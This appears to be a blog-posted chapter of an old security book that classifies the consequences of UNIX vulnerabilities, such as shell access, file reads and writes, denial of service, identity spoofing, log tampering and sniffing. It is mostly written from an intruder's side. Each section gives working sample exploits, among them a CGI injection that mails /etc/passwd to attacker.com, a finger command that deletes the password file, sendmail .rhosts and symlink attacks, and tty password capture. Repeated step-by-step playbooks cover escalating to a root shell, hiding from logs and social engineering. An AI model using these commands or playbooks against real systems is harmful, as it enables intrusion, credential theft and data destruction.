Friday, December 4, 2009

Consequence

Vulnerability consequence is much broader in scope than the actual vulnerability cause itself, but like the possible causes, they are finite. However, they are required in order to categorize vulnerabilities correctly so that it is possible to bring vulnerability handling closer to automation, as well as explaining the true impact of a specific situation.

Consequence is the mechanics behind access promotion, and is the functionality of each vulnerability. Consequence also demonstrates how a small amount of access can lead to far greater compromises. Unlike fault, which is a specific flaw, consequence describes the result of the vulnerability in terms of its environment. This section is the broadest section of the taxonomy, but is still somewhat manageable in size.

Consequence is probably the most confusing aspect of vulnerabilities, mostly because it is vague and can be altered according to environment. If you are looking at a vulnerability in terms of fault, one may see the problem to be a "buffer overflow". But what exactly does that mean? Does it allow access to the host? Does it crash the computer? Does it crash only a specific application running? Actually, all of those are applicable consequences and all of the consequences apply to the same vulnerability, although some consequences can be prevented by additional security measures.

This chapter outlines the most commonly associated consequences of the UNIX operating system, and applies to other common operating systems as well. The UNIX standard categories of consequence are:

• Logic Interruption

• Reading of Files

• Writing of Files

• Appending to Files

• Degradation of Performance

• Identity Modification

• Bypassing or Changing Logs

• Snooping and Monitoring

• Hiding Elements

It has to be said at this point that this is specifically for a UNIX environment, with a very strong application to other platforms. Consider that the environment always drives consequence, so if the vulnerability existed in some other environment, the list would be different. An example of such an environment would be a video game, where vulnerabilities that might exist in terms of free game play, elevated or improper points, invulnerability, safety, and unlimited game "wealth".

Logic Interruption

When a program has its course of logic interrupted and a user-defined piece of code takes over, an intruder can take over control of the course of a program. If the program runs with higher access, then the programming inserted by the intruder will also run at higher access.

Interactive Shell

When the result of a vulnerability is an interactive shell, the intruder has full control of the system with a command interpreter that allows the ability to take advantage of the heightened access.

Sample Vulnerability [modload vulnerability, Administrator Access, BSD 4.4]:

By creating a fake modload file,  and because mount_union executes the modload program without providing the complete pathname, the course of logic can be interrupted and a setuid shell with root access is created.

One Time Execution of Code

Sometimes no interactivity is given, and the user must drop a series of commands to the attacked host, with the intent that the commands given will allow the intruder access to other functions.

Sample Vulnerability [Glimpse HTTP, User Access, General O/S, Credit: Razvan Dragomirescu]:

Glimpse can be fooled into executing a series of commands because it passes information through shell interpreters.    By feeding commands to the interpreter,  the course of logic can be interrupted,  allowing the intruder to execute arbitrary commands.

$ telnet www.victim.com 80

Connected to remote host, use       for escape character GET /cgi-

bin/aglimpse/80|IFS=5;CMD=5mail5hacker\@attacker.com\</etc/passwd ;eval$CMD;echo HTTP/1.0

<garbage>

Results are returned to hacker@attacker.com via electronic mail.

An attack of this nature could be promoted to full Interactive Shell by an attack similar to this:

1. Identify running elements on the host

2. Does host have a service capable of allowing an interactive shell (rlogin, telnet,   ssh,  etc?)   If not,  end here.    Most computers do have a way,  you may need to turn them on first.

3. Once a service is identified,  adopt a plan to gain access to it   (i.e., add an entry to the password file - always a good place to go)  and send instructions to computer through the vulnerability.

4. If the modified files work,  jump to step 9.

5. Grab the password file,  and other contents of the box that may allow heightened access.

6. Check contents for weakness by password cracking,  etc.    If this yields a way in,  go to step 9.

7. Weaken the security by trying to install new software,  adding new services to the inetd.conf file,  or deleting files containing restrictive security controls.

8. If this doesn't yield a way in,   stop here.

9. Interactive Shell access has been reached.

$ export PATH=/tmp:$PATH

$ echo /bin/sh > /tmp/modload

$ chmod +x /tmp/modload

$ mountunion /dir1 /dir2

#

<-    Interactive Shell

#    If zsh

One Time Execution of a Single Command

Sometimes a vulnerability cannot be broken down into multiple commands, but instead only a single command can be executed at a time. In this case, the exploit may have to be attempted several times in order to achieve the same level of interactivity as other forms of logic interruption techniques.

Sample Vulnerability [finger shell, Administrator, BSD 4.2]

The following exploit executes the command following "string|", in this case,  rigged to delete the remote host's password file.

$ finger "string|/bin/rm -f /etc/passwd"@victim.com

Like One Time Execution of Code, One Time Execution of a Single Command can also yield interactive access if an intruder seeks to do so. The following logic shows how this can be accomplished. Although nearly identical to the execution of Code techniques, the differences are bolded for quick identification:

1. Identify running elements on the host

2. Does host have a service capable of allowing an interactive shell (rlogin, telnet,   ssh,  etc?)   If not,  end here.    Most computers do have a way,  you may need to turn them on first.

3. Once a service is identified, adopt a plan using simple single-execution steps to gain access to it   (i.e.,  add an entry to the password file - always a good place to go)  and exploit as many single instructions as necessary through the vulnerability.

4. If the modified files work,  jump to step 9.

5. Grab the password file,  and other contents of the box that may allow heightened access.

6. Check contents for weakness by password cracking,  etc.    If this yields a way in,  go to step 9.

7. Weaken the security by trying to install new software,  adding new services to the inetd.conf file,  or deleting files containing restrictive security controls.

8. If this doesn't yield a way in,   stop here.

9. Interactive Shell access has been reached.

Reading of Files

Reading of files, depending on the access rights associated with it, can be a severe security problem. To qualify as a vulnerability, the ability to read files has to be associated with reading files one normally doesn't have access to either by that particular service, or by bypassing a control mechanism. Usually, this will allow either the acquisition of protected information associated with the service (such as getting access to restricted web pages, reading electronic mail, etc.) or files associated with the system's security (such as password file, user lists, etc.)

Reading of Any File

By being able to read any file on the system, the intruder is guaranteed to have attained the information stored on the host but hasn't been given a way yet to cover tracks or install backdoors to allow future access. However, by grabbing security critical information, the intruder can hope to raise their access level.

Sample Vulnerability [sendmail, Read Restricted Files, AIX 4.1, Credit: Dr. Klaus Kusche]

"I tried this on our AIX 4.1.5   (as an ordinary user!) with

"/etc/security/passwd",  and it indeed displayed all the shadow

passwords."

$ /usr/lib/sendmail -C <any-file-you-want-to-read>

This level of access can be promoted to an interactive shell but isn't guaranteed. A simple outline of the procedure is as follows:

1. Read the password file(s)  of the system

2. Attempt to crack any passwords that may be easy to guess.    If one or more are found,  go to step 4.

3. Look for areas of weakness in the host - look for passwords stored in users'   .netrc files,  poorly constructed permissions in users' .rhosts files,   spoofable trusted hosts in /etc/hosts or /etc/hosts.trusted, NIS domain passwords,  passwords stored in the RC files on the host,  and the ever so classic reading through peoples'  email looking for people sharing passwords with each other.    If there isn't, stop.

4. Check to see if account/password or weakness is associated with a running service.    If no services are running that can allow access to the host, stop.

5. If a service is running,  but doesn't yield an interactive shell,  it may allow for a lesser form of access - if it does,   stop here and follow access promotion technique described in that section.

6. Interactive Shell attained.

Reading of a Specific Restricted File

In many cases an application is required to read critical information, and in many cases may surrender that information if controls are not properly established.

Sample Vulnerability [screen, Read Restricted Files, FreeBSD 2.2]

Forcing a code dump of screen  (most common way from the command like is a "kill -SEGV <process>")  creates a core file that contains entries from the system's /etc/shadow file.

It is possible to use a vulnerability such as this to advance to Interactive Shell access.    An example can be described as follows:

1. Read the restricted file

2. If the restricted file does not contain information that leads the user to either another degree of access,  end here.    Be creative,  though.    In many cases,  especially when reading e-mail,  there is enough information available to "socially engineer" a password from someone by assuming an identity and using this degree of access to read the reply  [See section: "Assuming Identity of a User"]

3. If the file needs processing  (i.e.,  cracking of passwords, formatting changes,  etc.)  do so.

4. If no services exist on the host that can be accessed with information obtained,  or restricted information proved too well protected to discover in a reasonable period of time,  end here.

5. At this point,  a service has been compromised,  but if the service doesn't yield an interactive shell,  it may yield another form of access.    Stop here,

and go to the procedures for promoting access to an Interactive Shell at the section associated with the new level of access attained. 6.  Interactive Shell attained.

Writing of Files

In many cases, fooling the computer to overwrite files can be accomplished. By picking a file to overwrite, many effects can occur. Some of them are:

• Weakening of security by the destruction of an Access Control List (such as the "/etc/hosts.deny" file)

• Weakening of security by changing an Access Control List (such as adding a "+ +" into the /.rhosts file, or overwriting the password files with a new one.)

• Installing Backdoors

• Disabling software/processes/operating system (by destroying critical files and executables)

When writing over files, the data that the file is overwritten with is referred to as the payload. This payload may or may not be easily controlled, depending on the vulnerability. Sometimes all that is available is random information, or contents from a core file. The extent of the severity of vulnerabilities in this genre is largely determined by if you can control the payload.

Overwriting Any File with Security Compromising Payload

Probably the most common problem of the overwriting sort, in most cases the flow of logic on a host can be interrupted in order to overwrite files. However, even in the most extreme cases of overwriting files, there is a chance that even an almost completely random payload can compromise security.

Sample Vulnerability [Sendmail 8.8.5, Administrator Access, General]

Sendmail 8.8.5 creates the file /var/tmp/dead.letter without checking to see if it could be a symbolic link to another file. A local user can create a symbolic link to /etc/passwd,  send bad email with a replacement password file,  and the password file will be replaced.

$ ln -s /etc/passwd /var/tmp/dead.letter $ telnet victim.com 25

Trying x.x.x.x... Escape character is

220 victim.com Sendmail 8.8.5/8.8.5 ready at Wed,  25 Nov 1995 mail from: non@existent.host 250 intruder.   Sender ok rcpt to: non@existant.host 250 /root/.rhosts... Recipient ok data

354 Enter mail,  end with "." on a line by itself intruder::0:0:Newly Created Intruder Account:/root:/bin/sh

250 Message accepted for delivery, quit

Connection closed by foreign host. $ su intruder

#

To obtain an interactive shell from this level of access, the following steps usually can yield advancement in access.

1. Identify running elements on the host

2. Does host have a service capable of allowing an interactive shell (rlogin, telnet,   ssh,  etc?)   If not,  end here.    Most computers do have a way,  you may need to turn them on first.

3. Once a service is identified,  adopt a plan to gain access to it   (i.e., add an entry to the password file,  adding a "+ +" to /.rhosts)  and send instructions to computer through the vulnerability.

4. If the modified files work,  jump to step 7.

5. Weaken the security by trying to install new software,  adding new services to the inetd.conf file,  or overwriting files containing restrictive security controls.

6. If this doesn't yield a way in,   stop here.

7. Interactive Shell access has been reached.

Overwriting Specific Files with Security Compromising Payload

In many cases, specific files have far too much permission so that people can easily overwrite them, or a program modifies a specific file that can be substituted while running. In these cases, the contents of the file can be modified with a payload which can compromise the system.

Sample Vulnerability [AUTOEXEC.BAT, Administrator, Windows NT4.0]

By default,  all users of the system have write access to AUTOEXEC.BAT.

1. Identify running elements on the host

2. Does host have a service capable of allowing an interactive shell (rlogin, telnet,   ssh,  etc?)   If not,  end here.    Most computers do have a way,  you may need to turn them on first.

3. If the file being overwritten automatically allows the user access to an interactive shell,  jump to step 9.

4. Use judgement on the file being compromised - it may require non-automatable approaches to get further.

5. If the modification requires a trojan horse,  place trojan and wait for administrator access user to inadvertently activate it.    Trojan should be able to modify the system to yield an interactive shell.

6. If the modified files work,  jump to step 9.

7. If the modified files allow the installation new software,  adding new services to the inetd.conf file,  or overwriting files containing restrictive security controls,  do so if another technique can be used to compromise the host.    If this is the case,   stop here and go to the appropriate vulnerability and continue with access promotion from there.

8. If this doesn't yield a way in,   stop here.

9. Interactive Shell access has been reached.

Overwriting Any File with Unusable Garbage

Usually this is pretty rare, because even overwriting a file with completely random data can cause at least some other vulnerability to open up (even if you have to spoof being user "sTm309a" from host "WxvCC", random information may still yield a clever way in.) However, in cases where not enough services exist on the host to attempt such an attack, or clobbering of files can't further degrade the operations of the host, this vulnerability may exist.

Sample Vulnerability [core dumps, Denial of Service,BSD/OS 3.0]

Core files follow symbolic links,  so they can be used to place a core in any directory on the system as a file.    However, very little control is given on the content of the core, the permission of the core,  or the ownership of the core.

1. Identify running elements on the host

2. Does host have a service capable of allowing an interactive shell (rlogin, telnet,   ssh,  etc?)   If not,  end here.    Most computers do have a way,  you may need to turn them on first.

3. Identify security precautions that are established and in place which need to be removed to gain access to the host.    If there are none,   stop here.

4. Clobber all files that heighten access restrictions on the host without destroying the computer.    Some suggestions might be /etc/hosts.deny, any firewall or security package, etc.

5. If the lowered access allows you in automatically,  advance to step 7.

6. If the lowered access allows for another vulnerability,   stop now and proceed with advancement for that particular vulnerability.

7. Interactive Shell access has been reached.

Overwriting Specific Files with Unusable Garbage

In some cases, a program can be fooled into overwriting a file in a fashion that cannot be used for anything except for destructive purposes. In this example, the "garbage" is actually just a blank file.

Sample Vulnerability [sendmail 8.6.12, Denial of Service, General]

Local users can overwrite the alias file by setting system limits low.

This may be usable to gain higher access regardless, but situations may be rare:

1. If the file in question is the password file,  and the system uses a shared management resource   (such as Yellow Pages)   it may be possible to confuse the management system.    In some very early vulnerabilities,  the management system would relinquish root access to anyone if a password file did not exist.

2. One of the unusual drawbacks of several operating systems is that when the kernel on the computer panics,  the operating system will grant the operator at the console administrator access right away and request that the person at the console fixes the problem.    If this is the case with the vulnerability,  access rights can be promoted.

3. If overwriting files allows the hiding of some other hacker activity, then that implies another possible method in.    However,  overwriting files with garbage is hardly "stealthy",  but anonymity is preferable over stealth.

Appending to Files

Closely related to its cousin, Writing to Files, appending to files is also extremely common. A mistake often made by programmers is never securing logging resources, and when the program runs at higher level access, sometimes it is very possible to append information on to the end of a file.

Appending, though, isn't just confined to log file mistakes. E-mail based on the concept of appending to the end of files and many of the vulnerabilities Sendmail has had in the past fall under this category. Because of the nature of common operations, "appending" access is quite common. It does, however, have a few limitations over overwriting files:

Appended files tend to be "messy" - actual contents are still intact with appended information at the end.

• Can't eliminate already defined elements (e.g., you may be able to create a root access account, but you cannot change the "original" root account)

Appending Any Files with Security Compromising Payload

By appending information to the end of an arbitrary file, it is usually trivial to gain higher access. The payload should be related directly with the service trying to be accessed such that it should give the highest amount of access possible. The following example will place a "+ +" into the root account's Rservices trust file. The "+" is a wildcard, so the "+ +" will assume all people are trusted to try to log in as root and will allow the intruder to gain root access without supplying a password.

Sample Vulnerability [sendmail 5.59, Administrator Access, General]

Sendmail 5.59 allows mailing e-mail to specific files.

$ telnet victim.com 25

Trying x.x.x.x... Escape character is

220 victim.com Sendmail SMI-5.59 ready at Wed,  25 Nov 1995

16:18:49 +700

mail from: intruder

250 intruder.   Sender ok

rcpt to: /root/.rhosts

250 /root/.rhosts^ Recipient ok

data

354 Enter mail,  end with "." on a line by itself

+ + <- Payload

250 Message accepted for delivery, quit

Connection closed by foreign host. $ rlogin victim.com -l root

#

To promote a vulnerability of this sort to an interactive shell, the following logic might be used:

1. Identify running elements on the host

2. Does host have a service capable of allowing an interactive shell (rlogin, telnet,   ssh,  etc?)   If not,  end here.    Most computers do have a way,  you may need to turn them on first.

3. Once a service is identified,  adopt a plan to gain access to it   (i.e., add an entry to the password file,  adding a "+ +" to /.rhosts)  and send instructions to computer through the vulnerability.

4. If the modified files work,  jump to step 7.

5. Weaken the security by trying to install new software,  adding new services to the inetd.conf file,  or overwriting files containing restrictive security controls.

6. If this doesn't yield a way in,   stop here.

7. Interactive Shell access has been reached.

Appending Specific Files with Security Compromising Payload

Sometimes only a specific file can be appended to.    Like its overwriting cousin,   it may be difficult to compromise the box with this degree of limitation, but is not impossible.

To promote this level of access to interactive shell, perform the following:

1. Identify running elements on the host

2. Does host have a service capable of allowing an interactive shell (rlogin, telnet,   ssh,  etc?)   If not,  end here.    Most computers do have a way,  you may need to turn them on first.

3. Once a service is identified,  adopt a plan to gain access to it   (i.e., add an entry to the password file,  adding a "+ +" to /.rhosts)  and send instructions to computer through the vulnerability.    Which files can be modified are limited in this vulnerability,  so pick the one(s)   that apply.

4. If the modified files work,  jump to step 7.

5. Weaken the security by trying to install new software,  adding new services to the inetd.conf file,  or overwriting files containing restrictive security controls.

6. If this doesn't yield a way in,   stop here.

7. Interactive Shell access has been reached.

Appending Any File with Unusable Garbage

Usually this happens when highly detailed log files are used, one that are memory dumps or oddly formatted so that they cannot be used for promoting access. This is extremely rare because most of the time even random information can be used to promote access, if the proper context is applied. Also, very few of these "situations" actually do anything that could jeopardize security. Due to the fact that most of these slip unnoticed as security vulnerabilities because they are reported (and considered) just illogical bugs in general that they never reach public knowledge. Therefore, no example is presented here.

Using this level of access to promote to higher access is more of a course of human manipulation rather than computer manipulation (see section on Social Engineering)

Appending Specific Files with Unusable Garbage

Sometimes only very specific files (or a limited range of files) may be affected by the vulnerability. In these cases, its highly dependent on what the vulnerability affects as to how one goes about promoting their access. Also, very few of these "situations" actually do anything that could jeopardize security. Due to the fact that most of these slip unnoticed as security vulnerabilities because they are reported (and considered) just illogical bugs in general that they never reach public knowledge. Therefore, no example is presented here.

Using this level of access to promote to higher access is more of a course of human manipulation rather than computer manipulation.

Degradation of Performance

Rendering Account(s) Unusable

Typically one of the first denial of service types of attacks learned by a student of network administration, forcing users to be locked is a form of vulnerability that occurs quite often. Although these problems occur by design, many others are accidental and could be more difficult to identify.

Sample Vulnerability [Account Lockouts, Denial of Service]

In certain operating systems and service oriented software (bulletin board systems,   for example),  a limit to the number of attempts a user can try on their password is set,  and exceeding the maximum number causes the account to be locked out.    In order to prevent the user of the account from using the system,  any one can fail to guess the password enough times to cause the lockout to occur.    This problem is known to exist by design in Windows NT and Novell Netware.

Sample Vulnerability [/bin/login denial, General, Internal, Denial of Services]

victim$ nvi /var/log/wtmp

Now nobody can log in.

Using this level of access to promote to higher access is more of a course of human manipulation rather than computer manipulation.

Rendering a Process Unusable

When a process becomes unusable, it can be a large problem for a business to recover from the problem. If World Wide Web access is shut off it could have a dramatic impact on marketing, or if e-mail is shut off it could have a strong impact on production.

Sample Vulnerability [SYN Flooding, Denial of Service, Remote]

By negotiating the initial  "SYN" connection packet to a specific TCP port a large number of times   (10-1000)   the protocol stack gets confused and fails to allow future connections.    This attack is easily modifiable to hide the attacker's IP address.

Once again, using this level of access to promote higher access is more of a course of human manipulation rather than computer manipulation.

Rendering a Subsystem Unusable

Unlike rendering a process unusable, a subsystem implies a wider range of elements have been affected, such as "all network elements", or that a hard drive is rendered inoperable. The following example, besides having a most amusing pun for a name, crashes the Berkeley Internet daemon, which renders the most, if not all, TCP services deceased.

Sample Vulnerability [Time Bomb, Denial of Service, Linux]

Linux machines running TCP Time services can fail if they are sent too many SYN packets. When the services fail, they will crash inetd.    When identd crashes,  no other services can work.

Once again, using this level of access to promote higher access is more of a course of human manipulation rather than computer manipulation.

Rendering the Computer Unusable

Probably the most fearful of denial of service related attacks, rendering an entire computer inoperable implies a significant amount of damage will be done regardless of the outcome. "Crashing" a computer usually has the following effects:

• Latest logs and up-to-the-minute processes will not synchronize with the hard drive, leaving all cached information unsaved

• Operations that were in the process of being performed will unexpectedly terminate both locally and at client computers. Many programs cannot recover from this sort of crash, and may require special maintenance.

• All operations involving writes to outside media will be unexpectedly interrupted. This usually means the area of the hard drive that was being written to at the time will be corrupted. If a CD-ROM was being "burned" at the time, it will be rendered useless. Tape backups will probably be forced to restart from the beginning.

• Some computers cannot restart without human assistance, and some that normally do not will require it because of any errors created on the drive at the time.

The following example is the classic "Windows Nuke" vulnerability. Due to having a limited variant of the TCP stack, Windows 95/NT incorrectly handled Out of Band Data:

Sample Vulnerability [Windows Nuke, Denial of Service, Windows 95/NT]

By sending OOB data to any Windows 95 or NT box to port 13 9, there is no method for the software on the host to resolve what it received and therefore kills the host.

Once again, using this level of access to promote higher access is more of a course of human manipulation rather than computer manipulation.

Identity Modification

A common attack is by assuming the identity of another element, such as a user. Becoming another element is a great way of avoiding being accurately traced, as well as an effective way of gaining access to other information. In many cases, simply by "being" a particular user, authentication is stripped away by faulty trust logic, and the intruder can gain higher access instantly.

The key to understanding the power of Identity Modification is that it is often times extremely difficult to balance security and speed, and most users will opt to have programs perform faster (as well as fewer authentication practices) rather than painstakingly prove the identity of the user. In many cases, looking at the wrong piece of information for which they need to correctly validate an identity can fool programs. Other cases, there is no way to validate, and that trust is implicit on another entity which may not always be reliable.

Assume the Identity of Administrator

Although one would expect that there are a great deal of controls on identity verification, especially when it comes to the system administrator, in many cases the identification of the individual leaves many potential trivial workarounds that will allow an intruder the identity of the administrator.

Sample Vulnerability [cue, Administrator Access, HP-UX 10.20]

$ export LOGNAME=root

$ cue

Welcome root

I must admit that I am personally amused and horrified by vulnerabilities that are this trivial. Usually vulnerabilities of this type are an immediate Interactive Shell compromise, but here is a logic flow in case things aren't quite as straightforward.

1. If program allows a shell escape,  and the program launches the shell with administrator access,  go to step 7.

2. If the program allows editing of file permissions,  make a copy of a shell setuid  (e.g.,  4777),  change ownership to root,  execute the program,  and go to step 7.

3. If heightened access allows access to read restricted files,   stop here and go to "Read Restricted Files" and follow access promotion steps.

4. If heightened access allows the creation of trojan horses,  install one. If trojan horse yields a way in,  advance to step 7.

5. If heightened access yields a list of users,  attempt to break into accounts via a password cracker.

6. If no accounts yield,   stop here.

7. Interactive shell access has been reached.

Assume the Identity of User

In some cases, a program can be fooled into thinking that the user executing the exploit is another user. This can lead to many types of other compromises.

Sample Vulnerability [sendmail, User Access, General]

Improper handling on "\n"  in an argument passed to sendmail will allow a user to become any other user with the following C program:

main() {

execl("/usr/lib/sendmail", "sendmail",

"-Fnobody\nCuseruwanttobe\nR/tmp/test1\nHX-Stuff",

"user@unreachablehost",0);

}

Here is an example of where being another user may yield a way in that is not highly computerized. The following things may assist in gaining access:

1.   Pretending to be the user you have assumed to "social engineer" a password from someone.    See the chapter on Social Engineering.

2.    If you do not have full access to the user's account as it stands, maybe using the account can add leverage toward getting full access.. Possibly gain access to other machines   (i.e.,   "I locked myself out of the Windows NT server by changing my password and I make a mistake somehow,  and I'm mailing you from this UNIX box.    Please reset my password to "xxxxxx" and I'll be on in an hour to change it."

Assume the Identity of a Non-Existent User

In many cases, a person will assume non-existent entities in order to cause trouble for individuals or do things that are generally anti-social, if not illegal. Some examples of this would be harassment, sending "spam" mail advertisements, or the like.

Sample Vulnerability [Sending Internet Fake Mail]

$ telnet victim.com

Trying x.x.x.x... Escape character is

220 victim.com Sendmail 8.8.4/8.8.4 ready at Wed,  25 Nov 1995 16:18:49 +700

mail from: anonymous@nowhere

250 anonymous@nowhere... Sender ok rcpt to: vik@victim.com

250 vip@victim.com_ Recipient ok data

354 Enter mail,  end with "." on a line by itself Title:    Call me your MOTHER!!!

I'm going to harass you until you go insane!!

-- Anonymous

250 Message accepted for delivery, quit

Assume the Identity of a Computer

By assuming the identity of a computer, a person can intercept, or gain access to additional resources. This can be accomplished in a variety of ways, ranging from changing DNS entries to assuming IP addresses of hosts. In the following example, a routine check was made to see if all the computers in a file server's trusted export list are alive, and if one is not functioning, assume its identity.

Sample Vulnerability [Standard Spoofing - Assuming the IP of a Trusted Host]

$ showmount -e fileserver <- get export list of fileserver /files larry,  curly, moe

$ ping larry

larry is alive. $ ping curly

no response to ping.

$ nslookup curly

[nameserver] Hostname: curly <-    Check if larry is alive <-    It is,  so lets try another

Check is curly is alive curly is offline,  this is the host that we can assume the identity of so that fileserver will trust us. Find out IP address of curly

IP Address: 10.1.1.5

$ ifconfig eth0 10.1.1.5 1

<- make your IP address same as the computer curly so that fileserver now trusts you.

$ mount -t nfs fileserver:/files /mnt $ ls /mnt

<contents of exported directory>

To promote the level of access higher, consider the following:

1) The trust web may originate with the machine that is being assumed, so the host may be able to authenticate the hacker onto other hosts.

2) The host could be used to collect user ids and passwords.

3) The host may have access to other file-systems,  such as NFS.

4) The other host may be forced offline for a denial of service condition

5) Files may be served to other systems in order to plant trojan horses.

Assume the Identity of Same Computer

There are several approaches to this situation. Many people spoof the identity of a remote computer to say it's the victim computer because its an easy way to cover the trail. However, another aspect is simply gaining access to resources that allow an easy spoof of the computer itself, as demonstrated by the following example:

Sample Vulnerability [dip snooping bug, Linux, Administrator Access, Credit: BitWarrior]

DIP can be used to sniff passwords from ttys:

$ dip -t

port /dev/tty1

term

(wait for person to log on /dev/tty1 to log out)

tty1 now displays a login prompt,  and what you type will be sent to stdout on /dev/tty1.    Thus,  at some point you will see something on your screen like: root^Mrootpw

At this point,  carry on a normal login spoof,  echoing the characters for root,  telling them they have an incorrect password,  and out.

1. Activate vulnerability to collect information

2. If information collected yields an account,  use that information to attempt to gain an interactive shell.

3. If information collected yields access to restricted files,   store those.

4. Review restricted files for any further access.

Assume the Identity of a Non-Existent Computer

Used primarily by people wishing to crash computers and not wanting to be caught, some attacks can have their origins easily disguised by providing invalid origin data.

To promote your access with a vulnerability such as this, do the following:

Sample Vulnerability [Ping o' Death, Denial of Service, Credit: Linus Torvalds]

By sending a "ping" packet which is too large for the receiving computer to handle,   it will overflow the TCP stack,  killing it. The origin network address on the packet can be set to anything because a reply is not needed.    The result is an untraceable denial-of-service attack.

Attacks like this usually don't yield higher access, but if it is all that is available to promote higher access, consider the following:

1. If the assumption of the non-existent computer allows rampant denial of service attacks,  elimination of computers on a network that are critical to security may lead to other paths to attack.

2. Likewise,  breaking of intrusion detection computers may lead to a Bypassing of Logs vulnerability which would be an improvement over existing access, and launched correctly,  would not yield the origins of the intruder.

3. Many elements of being a non-existent computer imply performing attacks against a host without having the intruder's origins being known. Creativity is important.    Bad network components or second-rate equipment failure is almost completely indistinguishable from short,   "random" denial of service attacks.    One could opt to subtly perform selective sabotage to leverage themselves for a promotion or other sabotage that may wind up giving you a promotion or gain greater work recognition.    Likewise,  wholesale devastation could cause contractual deadlines to be missed and the stock of a company to plummet.    Leveraged correctly in the market,  a company's utter failure could make the intruder a fortune.    Of course,  this could be said of any criminal exploitation of computer vulnerabilities.

Bypassing or Changing Logs

One of the most important aspects of security is establishment of an audit trail. Logging activities associated with each security critical service does this. If the logs are vulnerable, then there is very little that can be done to prevent hackers from attacking the host. Having logs are critical not only in identifying an intruders' presence, but fixing vulnerabilities and recovery from attacks.

Logs Are Not Kept of Security Important Activity

The most common problem in this category is people not putting logging capabilities in at all. In this case, people can try to do virtually anything to get into a host without fear of being noticed. Prior to 1990, most of the computers on the Internet had extremely poor logging capabilities, and the only times people would notice hackers is by computer performance or network performance issues.

Sample Vulnerability [Default Installation of Post Office Protocol]

By default,  failed login attempts on Post Office Protocol are not logged,  and therefore a remote intruder could attempt to break into accounts via password guesses without being logged, locking out accounts, or even being disconnected.

This example shows a design flaw in Post Office Protocol's default. Without being able to log, hackers can attempt passwords without a problem. Through independent testing, speeds of over 700 attempts per minute can be done, allowing for an intricate attack against users on the host to be performed.

The steps to gain elevated access from this are:

1.     If the vulnerability masks attempted access to accounts on an access

control list,  use the vulnerability to attempt to guess account passwords. If a password yields an account,  go to step 5.

2. If the vulnerability masks reading,  writing,  appending,  or other security modifications,  creatively use this to promote access.    Such as spoofing one's identity.    If this is the case,  go to the section on Assuming Identity of User section and follow directions to promote access.

3. If the host doesn't support logging of any activity  (such as a print server on the network),  this computer may be ideal for launching attacks against other boxes.    However,  most of these types of network devices have only limited application and probably will not yield an interactive shell. If this is the case,   stop here.

4. At this point,  the vulnerability is either to specific for this outline or is not promotable to higher access.    Stop here

5. Interactive shell has been obtained.

Logs Can Be Tampered With

Tampering with log files can disguise hacking activities being done on the host. The intruder will be able to erase or modify the logs in order to cover their intrusion activities. As long as no logs are kept, the hacker will be able to continue without detection.

Sample Vulnerability [/var/adm/syslog, Spoofing/Non-Detectability, Solaris 2.5]

The /var/adm/syslog permissions are world readable and world writable by default,  meaning that any intruder could erase logs or change the logs on a whim to cover their activities.

In order to use this vulnerability to promote access, do the following:

1. Identify what service(s)  the tamperable logs effects

2. If the service allows rampant vulnerability testing, do that and remove the attempts from the logs. If a vulnerability yields higher access, stop here and continue raising access through the elevated access.

3. If the service is password protected or otherwise,  attempt to hack out account - removing evidence of such attempts from the password file.

4. If account hacking yields no results,  or no services exist on the host where knowing a username and password will help,   stop here.

5. Account obtained and a service exists on that will yield higher access, so stop here and perform steps to elevate access further on the host.

Logs Can Be Disabled

Disabling logs is an excellent way to not be logged at all. One would assume that with logs disabled, the administrator would be informed right away - but most computers aren't configured to do that. Shutting down the logging system would be the first step by an intruder to breaking into a computer without fear of being caught.

Sample Vulnerability [syslogdpatch, Solaris, Non-Detectability, Credit: Michael Helm] Taken from BUGTRAQ message posted by Michael Helm:

"I'm not having very good luck with the patch mentioned here (among other places)   for syslogd on Solaris.    Patch 103738-05 may solve the immediate security problem, but at least for me, as soon as you attempt to restart it   (SIGHUP),   it stops writing messages to any of its files."

Therefore,  restarting the syslogd in this manner may provide an adequate illusion for the administrator thinking elements of the

software are being logged merely because the process is still communicating.

This example, the logs can be deactivated without appearing to be deactivated, which can lead to a number of results. It lends itself to giving a false sense of trust to the administrator while intruders do activities undetectably on the host.

In order to use this vulnerability to promote access, do the following:

1. Identify what service(s)  the disabled logs effects

2. If the condition allows rampant vulnerability testing,  go ahead.    If a vulnerability yields higher access,   stop here and continue raising access through the elevated access.

3. If the service is password protected or otherwise,  attempt to hack an account.

4. If account hacking yields no results,  or no services exist on the host where knowing a username and password will help,   stop here.

5. Account obtained and a service exists on that will yield higher access, so follow steps to gain higher access from that point.

Snooping and Monitoring

This category often falls under the concepts of weakness, but even in an ideal environment, far too much information can be recovered from just monitoring activities. In the not-so-perfect world, as has been showed by many controlled penetration tests and actual real-world break-ins, monitoring traffic after penetration can lead to a network wide break-in from a single host.

User can view a session

The most common attack today for viewing sessions is sniffing network traffic. Consider what information can be gathered from a person investigating a session of a person connected to a network: passwords, files, and privacy information. At this level, it may be very easy to promote access.

Sample Vulnerability [Sniffing]

Sniffing is the technique of listening to raw network traffic and determining passwords.    Switched network technology prevents sniffing from being greatly effective,  but many networks still exist that allows for sniffing to take place.    Many common protocols will reveal passwords,   including TELNET,  FTP, HTTP, POP,  IMAP,  and many more.

The example doesn't do justice to the amount of information that can be stolen from the network traffic. Many networks were constructed off of inexpensive non-switched networks, and as a result, these attacks are still quite common. As more people become familiar with routing, it will be also common to have network traffic rerouted and information stolen even with computers on networks supposedly immune to sniffing.

To promote this to an interactive shell,  do the following:

1. Start snooping,   storing all information collected for later examination.

2. After a period of time, investigate snooped session for obvious passwords and accounts, or other useful information. Most access information takes place in the first 100 bytes of each session.

3. If account is discovered with administrator access,  use that preferably over regular accounts.    This should yield access to a new service.

4. At minimum,   secure information may have been compromised.    Any plaintext information may yield an additional security problem.

5. Any encrypted information may be decrypted by standard methods.

User can view the exported/imported session

Sometimes the session will be only partially viewable, such as in a ring network or when a specific device driver is compromised. In this case, only half the information is available but is still quite useful. The information can be promoted to higher access in the same way as a fully enabled session.

Sample Vulnerability [dip bug, Read Restricted, General]

Passwords can be captured from DIP

$ whoami

cesaro

$ cat < /dev/tty1 (root is logged in on tty1)

bash:  /dev/tty1:  Permission denied $ dip -t

DIP:  Dialup IP Protocol Driver version 3.3.7o-uri   (8 Feb 96) Written by Fred N. van Kempen,  MicroWalt Corporation. DIP> port tty1 DIP> echo on DIP> term

[ Entering TERMINAL mode. Use CTRL-] to get back] roots_password DIP> quit

$

